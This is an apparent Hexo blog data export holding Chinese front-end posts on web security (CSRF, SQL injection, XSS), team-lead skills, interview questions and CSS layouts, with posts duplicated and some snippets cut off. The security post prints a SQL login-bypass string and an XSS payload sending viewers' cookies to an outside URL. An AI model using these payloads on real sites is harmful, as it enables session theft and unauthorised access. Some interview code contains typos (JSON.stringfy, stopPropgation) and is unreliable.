\n\n跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
\n
验证码
在请求的同时,带个token,或者验证码
Referer Check
这个可以伪造…但加入更保险
\n\n注意:如果网站有XSS漏洞或者一些跨域漏洞,可能导致Token泄露。 在XSS攻击下,读取Token值,然后再构造出一个合法的请求,可以称为:XSRF。
\n
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到\b的就是能够\b提前预防和及时修复。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"浏览器自带转换为字符串\nvar newValue = safetools.encode(value)\n\n正则加密(可能有兼容)\nvar newValue = safetools.reEncode(value)\n\n正则解密(可能有兼容)\nvar newValue = safetools.reDecode(value)\n
\n\ntag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
\n
\n\n用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
\n
语句
\nstrSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"\n
如果恶意填入:
\n\n\nuserName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;
\n
既可实现无密码登录,美滋滋吧…
\n\b前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
\n\n\n跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
\n
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
编码
\n\n\n将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
\n
过滤
\n\n\n有的语句并不完全依赖<>标签,例如src=”javascript:alert(1);”
\n
校正
\n\n\n这个照理来说应该后端处理\b,目前没碰到这种场景
\n一个直播平台,\b用户可以进入观看,主播可以设置自己的昵称:\nvar starNickName = '${starNickname}'\n
这怕是要翻水水了…假设是我是主播,我把昵称设置为:
\n';window.location.href="\bhttp//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''\n
这一串如果传到后端,而后端又没有校正的话的话,这怕是\b傻眼了…观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。\b
\n
`
`
meta:不信任任何URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
\n\n注意:该属性目前比较新,hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
\n
\n\n跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
\n
验证码
在请求的同时,带个token,或者验证码
Referer Check
这个可以伪造…但加入更保险
\n\n注意:如果网站有XSS漏洞或者一些跨域漏洞,可能导致Token泄露。 在XSS攻击下,读取Token值,然后再构造出一个合法的请求,可以称为:XSRF。
\n
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到\b的就是能够\b提前预防和及时修复。
\n"},{"title":"前端的职业路线","date":"2017-03-19T15:35:04.000Z","_content":"\n小结,一个优秀的前端leader,我认为应该具备的能力:\n\n### 技术功底\n> 重要功能或需求的开发,或提供解决方案,做技术选型\n\n#### 技术专攻\n · HTML\n 理解语义化\n · CSS\n 动态居中动画\n Bootstrap 样式类\n Preprocessor兼容性 \n Hack与特征检测\n CSS3属性与性能\n · js\n Name hoisting\n Prototype\n Closure\n Main loop\n Promise\n Delegation\n Cross domain\n · Mobile\n 渐进增强\n 移动端交互\n 兼容性问题\n · Debug工具 \n · 方法性能\n JSCache \n control\n 性能测试\n\n### 沟通能力\n> 具备产品思维,需求分析评审,分发开发任务,和产品经理、设计师以及后端等沟通、协调\n\n### 项目管理能力\n> 开发需求的跟进,代码review,代码合并与发布等,精通svn或git是必须的,记住是精通,你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了,你至少要知道如何找回吧\n\n### 文档功力和执行力\n> 前端开发规范,开发文档、开发标准的建立和实施,关键是实施\n\n### 做老师的能力\n> 新员工的培训、辅导\n\n### 行业观察能力\n> 前端的技术更新太快了,一个优秀的前端leader还要引导团队了解和学习新的技术,为以后做技术储备\n\n### 不要太宅\n> 这很重要,技术男大多很宅,要想做一个好的leader,就要多和不同的人特别是多和沟通方面强势的人打交道。\n要不,等你做到leader的位置,即便是站在前端的角度来看有些极度不合理的需求,你也可能镇不住,天天接这样的需求,怨言就犹如漫天飞雪,受不了的人会选择离开,如果你的团队离职率高的话。。。Boss会觉得你是合适的吗?","source":"_posts/前端的职业路线.md","raw":"---\ntitle: 前端的职业路线\ndate: 2017-03-19 23:35:04\ntags: [前端规划]\ncategories: web前端\n---\n\n小结,一个优秀的前端leader,我认为应该具备的能力:\n\n### 技术功底\n> 重要功能或需求的开发,或提供解决方案,做技术选型\n\n#### 技术专攻\n · HTML\n 理解语义化\n · CSS\n 动态居中动画\n Bootstrap 样式类\n Preprocessor兼容性 \n Hack与特征检测\n CSS3属性与性能\n · js\n Name hoisting\n Prototype\n Closure\n Main loop\n Promise\n Delegation\n Cross domain\n · Mobile\n 渐进增强\n 移动端交互\n 兼容性问题\n · Debug工具 \n · 方法性能\n JSCache \n control\n 性能测试\n\n### 沟通能力\n> 具备产品思维,需求分析评审,分发开发任务,和产品经理、设计师以及后端等沟通、协调\n\n### 项目管理能力\n> 开发需求的跟进,代码review,代码合并与发布等,精通svn或git是必须的,记住是精通,你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了,你至少要知道如何找回吧\n\n### 文档功力和执行力\n> 前端开发规范,开发文档、开发标准的建立和实施,关键是实施\n\n### 做老师的能力\n> 新员工的培训、辅导\n\n### 行业观察能力\n> 前端的技术更新太快了,一个优秀的前端leader还要引导团队了解和学习新的技术,为以后做技术储备\n\n### 不要太宅\n> 这很重要,技术男大多很宅,要想做一个好的leader,就要多和不同的人特别是多和沟通方面强势的人打交道。\n要不,等你做到leader的位置,即便是站在前端的角度来看有些极度不合理的需求,你也可能镇不住,天天接这样的需求,怨言就犹如漫天飞雪,受不了的人会选择离开,如果你的团队离职率高的话。。。Boss会觉得你是合适的吗?","slug":"前端的职业路线","published":1,"updated":"2018-01-22T06:35:55.681Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6d0039vzqhjzm7p6zl","content":"小结,一个优秀的前端leader,我认为应该具备的能力:
\n\n\n重要功能或需求的开发,或提供解决方案,做技术选型
\n
· HTML\n 理解语义化\n· CSS\n 动态居中动画\n Bootstrap 样式类\n Preprocessor兼容性 \n Hack与特征检测\n CSS3属性与性能\n· js\n Name hoisting\n Prototype\n Closure\n Main loop\n Promise\n Delegation\n Cross domain\n· Mobile\n 渐进增强\n 移动端交互\n 兼容性问题\n· Debug工具 \n· 方法性能\n JSCache \n control\n 性能测试\n
\n\n具备产品思维,需求分析评审,分发开发任务,和产品经理、设计师以及后端等沟通、协调
\n
\n\n开发需求的跟进,代码review,代码合并与发布等,精通svn或git是必须的,记住是精通,你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了,你至少要知道如何找回吧
\n
\n\n前端开发规范,开发文档、开发标准的建立和实施,关键是实施
\n
\n\n新员工的培训、辅导
\n
\n\n前端的技术更新太快了,一个优秀的前端leader还要引导团队了解和学习新的技术,为以后做技术储备
\n
\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"这很重要,技术男大多很宅,要想做一个好的leader,就要多和不同的人特别是多和沟通方面强势的人打交道。
\n
要不,等你做到leader的位置,即便是站在前端的角度来看有些极度不合理的需求,你也可能镇不住,天天接这样的需求,怨言就犹如漫天飞雪,受不了的人会选择离开,如果你的团队离职率高的话。。。Boss会觉得你是合适的吗?
小结,一个优秀的前端leader,我认为应该具备的能力:
\n\n\n重要功能或需求的开发,或提供解决方案,做技术选型
\n
· HTML\n 理解语义化\n· CSS\n 动态居中动画\n Bootstrap 样式类\n Preprocessor兼容性 \n Hack与特征检测\n CSS3属性与性能\n· js\n Name hoisting\n Prototype\n Closure\n Main loop\n Promise\n Delegation\n Cross domain\n· Mobile\n 渐进增强\n 移动端交互\n 兼容性问题\n· Debug工具 \n· 方法性能\n JSCache \n control\n 性能测试\n
\n\n具备产品思维,需求分析评审,分发开发任务,和产品经理、设计师以及后端等沟通、协调
\n
\n\n开发需求的跟进,代码review,代码合并与发布等,精通svn或git是必须的,记住是精通,你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了,你至少要知道如何找回吧
\n
\n\n前端开发规范,开发文档、开发标准的建立和实施,关键是实施
\n
\n\n新员工的培训、辅导
\n
\n\n前端的技术更新太快了,一个优秀的前端leader还要引导团队了解和学习新的技术,为以后做技术储备
\n
\n\n"},{"title":"前端面试题","date":"2017-09-18T02:01:20.000Z","_content":"\n### 前言\n* 前端的难度,每18-24个月一轮回\n* 关注技术动态,跟上节奏\n\n#### 注意\n* 题目类型:理论知识,算法,项目细节,技术视野,开放性题,工作案例\n* 细节追问:可以确保问到你开始不懂和面试官开始不懂为止\n* 回答问题再棒,更要会做人\n* 要靠谱\n\n### 知识点\n\n* html & css:对web标准的理解,浏览器内核差异,兼容性,hack,css基本功:布局,盒子模型,选择器优先级,flexbox\n\n* javascript: 数据类型,运算,对象,function,继承,闭包,作用域,原型链,事件,正则(regExp),json,ajax,dom,bom,内存泄漏,跨域,异步封装,模板引擎,前端mvc,路由,模块化,canvas,es6,nodeJS\n\n* 其他:移动端,相应式,自动化构建,http,离线储存,web安全,优化,重构,团队协作,可维护,易用性,SEO,UED,架构,职业生涯,快速学习能力\n\n### html && css\n\n#### html5 为啥只需写 \n* 不基于 SGML(通用标记语言)\n\n### iframe 缺点?\n* 阻塞搜索引擎,不利于SEO\n* 和主页面共享连接池,影响连接速度\n* 如果要用,建议用 js 动态添加 src 可以绕开以上问题\n\n\n### javascript\n\n#### 如何实现 js 与 json 互换\n* json 化\n> var json = JSON.stringfy({a: 'hello', b: 'world'})\n* 字符串化\n> var obj = JSON.parse('{\"a\": \"hello\"}')\n\n\n### 其他\n","source":"_posts/前端面试题.md","raw":"---\ntitle: 前端面试题\ndate: 2017-09-18 10:01:20\ntags: [面试]\ncategories: web前端\n---\n\n### 前言\n* 前端的难度,每18-24个月一轮回\n* 关注技术动态,跟上节奏\n\n#### 注意\n* 题目类型:理论知识,算法,项目细节,技术视野,开放性题,工作案例\n* 细节追问:可以确保问到你开始不懂和面试官开始不懂为止\n* 回答问题再棒,更要会做人\n* 要靠谱\n\n### 知识点\n\n* html & css:对web标准的理解,浏览器内核差异,兼容性,hack,css基本功:布局,盒子模型,选择器优先级,flexbox\n\n* javascript: 数据类型,运算,对象,function,继承,闭包,作用域,原型链,事件,正则(regExp),json,ajax,dom,bom,内存泄漏,跨域,异步封装,模板引擎,前端mvc,路由,模块化,canvas,es6,nodeJS\n\n* 其他:移动端,相应式,自动化构建,http,离线储存,web安全,优化,重构,团队协作,可维护,易用性,SEO,UED,架构,职业生涯,快速学习能力\n\n### html && css\n\n#### html5 为啥只需写 \n* 不基于 SGML(通用标记语言)\n\n### iframe 缺点?\n* 阻塞搜索引擎,不利于SEO\n* 和主页面共享连接池,影响连接速度\n* 如果要用,建议用 js 动态添加 src 可以绕开以上问题\n\n\n### javascript\n\n#### 如何实现 js 与 json 互换\n* json 化\n> var json = JSON.stringfy({a: 'hello', b: 'world'})\n* 字符串化\n> var obj = JSON.parse('{\"a\": \"hello\"}')\n\n\n### 其他\n","slug":"前端面试题","published":1,"updated":"2018-01-22T06:36:36.045Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6e003bvzqh7pelmhc2","content":"这很重要,技术男大多很宅,要想做一个好的leader,就要多和不同的人特别是多和沟通方面强势的人打交道。
\n
要不,等你做到leader的位置,即便是站在前端的角度来看有些极度不合理的需求,你也可能镇不住,天天接这样的需求,怨言就犹如漫天飞雪,受不了的人会选择离开,如果你的团队离职率高的话。。。Boss会觉得你是合适的吗?
html & css:对web标准的理解,浏览器内核差异,兼容性,hack,css基本功:布局,盒子模型,选择器优先级,flexbox
\njavascript: 数据类型,运算,对象,function,继承,闭包,作用域,原型链,事件,正则(regExp),json,ajax,dom,bom,内存泄漏,跨域,异步封装,模板引擎,前端mvc,路由,模块化,canvas,es6,nodeJS
\n其他:移动端,相应式,自动化构建,http,离线储存,web安全,优化,重构,团队协作,可维护,易用性,SEO,UED,架构,职业生涯,快速学习能力
\n\n\nvar json = JSON.stringfy({a: ‘hello’, b: ‘world’})
\n
\n\nvar obj = JSON.parse(‘{“a”: “hello”}’)
\n
html & css:对web标准的理解,浏览器内核差异,兼容性,hack,css基本功:布局,盒子模型,选择器优先级,flexbox
\njavascript: 数据类型,运算,对象,function,继承,闭包,作用域,原型链,事件,正则(regExp),json,ajax,dom,bom,内存泄漏,跨域,异步封装,模板引擎,前端mvc,路由,模块化,canvas,es6,nodeJS
\n其他:移动端,相应式,自动化构建,http,离线储存,web安全,优化,重构,团队协作,可维护,易用性,SEO,UED,架构,职业生涯,快速学习能力
\n\n\nvar json = JSON.stringfy({a: ‘hello’, b: ‘world’})
\n
\n\nvar obj = JSON.parse(‘{“a”: “hello”}’)
\n
对于一个对界要求很高的人来说,今天有必要研究下各种常见的布局,目前罗列了四种布局,来来来,一起看看
\n\n\n\n左右两栏采用绝对定位,中间的由两边的margin撑开
\n`
#main {
margin:0 200px;
background:red;
}
#left{
position:absolute;
top:0;left:0;
width:200px;
background:blue;
height:100%;
}
#right{
position:absolute;
top:0;right:0;
width:200px;
background:green;
height:100%;
}
这种布局缺点是,当缩放到一定大小的时候,会出现重叠现象\n\n### 自身浮动法\n> 左栏左浮动,右栏右浮动,中间栏放最后\n
<body>\n <div id="left"></div>\n <div id="right"></div>\n <div id="main"></div>\n</body> \n\n#main {margin:0 200px;background:red;}\n#left{float:left;width:200px;background:blue;height:100%;}\n#right{float:right;width:200px;background:green;height:100%;}\n
简单而高效,代码还容易理解,适合初学者\n\n\n### 圣杯布局\n
//注意元素次序
\n//习惯性的CSS reset
body,html{
height:100%;
padding: 0;
margin: 0
}
//父元素body空出左右栏位
body {
padding-left: 100px;
padding-right: 200px;
}
//左边元素更改
.left {
background: red;
width: 100px;
float: left;
margin-left: -100%;
position: relative;
left: -100px;
height: 100%;
}
//中间部分
.main {
background: blue;
width: 100%;
height: 100%;
float: left;
}
//右边元素定义
.right {
background: red;
width: 200px;
height: 100%;
float: left;
margin-left: -200px;
position: relative;
right: -200px;
}
稍微难理解一点,不过这种布局目前我觉得是适配性比其他两种要好的布局方式,缺点是后期维护性不高\n\n### 双飞翼布局\n
div class=”main”>
`
\n\n\ncss样式就是将body上的左右margin值去掉,加在新增的 div 中
\n
这种布局方式为淘宝 UED 提出,目前最好用的一种布局方式,相比较圣杯布局,去掉了相对布局,代码更简洁
\n一个人的页面能力怎么样,从他对一个网站的布局如何就可以看出来,我觉得一个网站不但要用户看起来舒服,还要工程师在看到你的代码的时候,觉得布局非常巧妙。
\n对于一个对界要求很高的人来说,今天有必要研究下各种常见的布局,目前罗列了四种布局,来来来,一起看看
\n\n\n\n左右两栏采用绝对定位,中间的由两边的margin撑开
\n`
#main {
margin:0 200px;
background:red;
}
#left{
position:absolute;
top:0;left:0;
width:200px;
background:blue;
height:100%;
}
#right{
position:absolute;
top:0;right:0;
width:200px;
background:green;
height:100%;
}
这种布局缺点是,当缩放到一定大小的时候,会出现重叠现象\n\n### 自身浮动法\n> 左栏左浮动,右栏右浮动,中间栏放最后\n
<body>\n <div id="left"></div>\n <div id="right"></div>\n <div id="main"></div>\n</body> \n\n#main {margin:0 200px;background:red;}\n#left{float:left;width:200px;background:blue;height:100%;}\n#right{float:right;width:200px;background:green;height:100%;}\n
简单而高效,代码还容易理解,适合初学者\n\n\n### 圣杯布局\n
//注意元素次序
\n//习惯性的CSS reset
body,html{
height:100%;
padding: 0;
margin: 0
}
//父元素body空出左右栏位
body {
padding-left: 100px;
padding-right: 200px;
}
//左边元素更改
.left {
background: red;
width: 100px;
float: left;
margin-left: -100%;
position: relative;
left: -100px;
height: 100%;
}
//中间部分
.main {
background: blue;
width: 100%;
height: 100%;
float: left;
}
//右边元素定义
.right {
background: red;
width: 200px;
height: 100%;
float: left;
margin-left: -200px;
position: relative;
right: -200px;
}
稍微难理解一点,不过这种布局目前我觉得是适配性比其他两种要好的布局方式,缺点是后期维护性不高\n\n### 双飞翼布局\n
div class=”main”>
`
\n\n\ncss样式就是将body上的左右margin值去掉,加在新增的 div 中
\n
这种布局方式为淘宝 UED 提出,目前最好用的一种布局方式,相比较圣杯布局,去掉了相对布局,代码更简洁
\n一个人的页面能力怎么样,从他对一个网站的布局如何就可以看出来,我觉得一个网站不但要用户看起来舒服,还要工程师在看到你的代码的时候,觉得布局非常巧妙。
\n整理一些面试题,以备用
\n function A(name) {\n this.name = name;\n this.sayHello = function(){alert(this.name+ "say hello!")}\n }\n\n function B(name, id) {\n this.temp = A\n this.temp(name)\n delete this.temp\n this.id = id\n this.checkId = function(ID) {alert(this.id == ID)}\n }\n
function stopBubble(e) {\n if (e && e.stopPropagation) {\n e.stopPropgation ()\n } else {\n window.event.cancelBubble = true\n }\n return false\n }\n
优点: node是基于时间驱动和无阻塞的,所以非常适合处理并发请求,因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多,与node代理服务器交互的客户端代码也是用js写的,用的相同的语言,这感觉前后端非常亲切和美妙
\n缺点: node是一个相对比较新的开源项目,所以不太稳定,它总是在变,而且缺少足够多的第三方库的支持
\n1· 水平居中
\n\n\n设置justify-content:center;
\n
2· 垂直居中
\n\n\na: 插入 table ,再设置vertical-align: middle;
\n
b: 先设置display: table-cell;再设置vertical-align: middle;
\n\n!important > id > class > tag
\n
\n\n400: 语义有误 401:当前请求需要用户验证 403: 服务器已经理解请求,但是拒绝执行他 404:页面找不到
\n
\n\n加载:根据请求的url进行域名解析,向服务器发起请求,接受文件(html,js,css,图像等)
\n
解析:对加载到的资源(html,js,css)进行语法解析,建议相应的内部数据结构(比如html的dom树,js的属性表,css的样式表规则等等)
整理一些面试题,以备用
\n function A(name) {\n this.name = name;\n this.sayHello = function(){alert(this.name+ "say hello!")}\n }\n\n function B(name, id) {\n this.temp = A\n this.temp(name)\n delete this.temp\n this.id = id\n this.checkId = function(ID) {alert(this.id == ID)}\n }\n
